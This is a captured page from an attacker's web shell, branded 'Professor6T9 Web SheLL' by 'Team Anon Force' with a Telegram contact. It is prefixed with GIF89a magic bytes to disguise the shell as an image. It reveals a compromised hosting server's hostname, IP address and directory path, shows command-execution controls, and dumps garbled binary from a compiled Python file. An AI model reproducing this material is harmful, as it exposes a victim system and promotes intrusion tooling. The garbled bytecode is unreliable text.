GIF89;aGIF89;aGIF89;a
Team Anon Force
https://t.me/Professor6T9x
Professor6T9 Web SheLL
Linux ded7073.inmotionhosting.com 4.18.0-553.72.1.el8_10.x86_64 #1 SMP Tue Sep 2 06:07:48 EDT 2025 x86_64
Apache
209.182.213.109
/
opt
/
dedrads
/
python
/
__pycache__
[ HOME ]
Exec
Submit
audit_dns.cpython-313.pyc
� "��i� � � � S r SSKJr SSKrSSKrSSKrSSKJr S\\ \ \ 4 4S jrS\ S- 4S jrS \ 4S jr S\ S\ 4S jrS \ \ \ 4 4S jrS rS rS rS rg)z�This will grab zone files and then check @ns1, @ns2, and @8.8.8.8 for conflicting records. There are two main items that should be called from other scripts: check_dns.server() and check_dns.user('userna5')� )�nodeN)�whmapi1�returnc � � [ SSS9S S n U $ ! [ a# n[ U[ R S9 SnAW $ SnAff = f)zDUses cPanel API to grab all zones. Used with server() but not user()� listzonesT)�check�data�zone��fileN)r � Exception�print�sys�stderr)�zones�excs � /opt/dedrads/python/audit_dns.py� get_zonesr sI � �$���4�0��8��@�� �L�� � $� �c�� � �#��L��$�s � � A�<�A�soac � � U S:w a U b U R 5 S $ g! [ a$ n[ U[ R S9 U s SnA$ SnAff = f)zYGrabs Just the SOA part of what is returned when you dig SOA which is always in $3 column� N� r )�splitr r r r )r r s r � formatted_soar sL � ���"�9����9�9�;�q�>�!� �� � � �c�� � �#�� ���s � � A �A�A �A �dig_resultsc �L � U R 5 S:X a gU R 5 $ )z'strips leading and end spacing from digr N)�strip)r s r � clean_digr ! s% � �����b� ������� �argsc �T � S/nUR U 5 [ R "